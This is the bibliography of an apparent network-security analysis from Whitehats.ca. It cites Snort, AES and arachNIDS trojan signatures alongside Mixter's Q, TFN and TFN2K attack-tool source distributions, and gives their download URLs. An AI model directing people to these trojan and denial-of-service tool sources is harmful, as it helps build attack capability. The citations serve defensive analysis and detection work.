Mixter. "README." and C source code. Q 2.4 source distribution. Apr. 14 2001.

URL: http://mixter.void.ru/Q-2.4.tgz  (Aug. 6 2002)

 

Mixter. "README." and C source code. TFN source distribution. Aug. 20  2001.

URL: http://mixter.void.ru/tfn.tgz   (Aug. 28 2002)

 

Mixter. "README." and C source code. TFN2K source distribution. 14 Apr 2001.

URL: http://mixter.void.ru/tfn2k.tgz  (Aug. 28 2002)

 

NIST. "Announcing the Advanced Encryption Standard".  Nov. 26 2001

URL: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf (Aug. 20 2002)

 

Roesch, Martin. "snort.conf". Snort configuration & signatures. Oct. 3 2002

URL: http://www.snort.org/dl/binaries/1.9.0/snort-1.9.0-1snort.i386.rpm  (Oct. 20 2002)

 

Roesch & Green. "Snort Users Manual Snort Release: 1.9.0.".

URL: http://www.snort.org/docs/writing_rules-1.9.0/  (Oct. 20 2002)

 

Stevens, W. Richard. "TCP/IP Illustrated, Volume 1 - The Protocols."

Reading: Addison Wesley Longman, inc, 1994. PP 70, 71, 86, 171

 

Vision, Max.  "TROJAN-ACTIVE-Q-UDP." arachNIDS.

URL: http://www.whitehats.com/cgi/arachNIDS/Show?_id=ids201&view=research (18 Aug 2002)

 

Vision, Max.  "TROJAN-ACTIVE-Q-ICMP." arachNIDS.

URL: http://www.whitehats.com/cgi/arachNIDS/Show?_id=ids202&view=research (18 Aug 2002)

 

Vision, Max.  "TROJAN-ACTIVE-Q-TCP." arachNIDS.

URL: http://www.whitehats.com/cgi/arachNIDS/Show?_id=ids203&view=research (18 Aug 2002)

 



[2] Dittrich, David

[3] Barlow & Thrower

 

[4] Stevens, W Richard p. 86

[5] AES. "Advanced Encryption Standard - Questions and Answers"

[6] Mixter "README" and C source code. Q 2.4 source distribution

[7] Vision, Max


Non-Active Sitemap

Copyright © 2000-2014 Whitehats.ca
Contact Information 519.221.9132 : Web Contact webmaster@whitehats.ca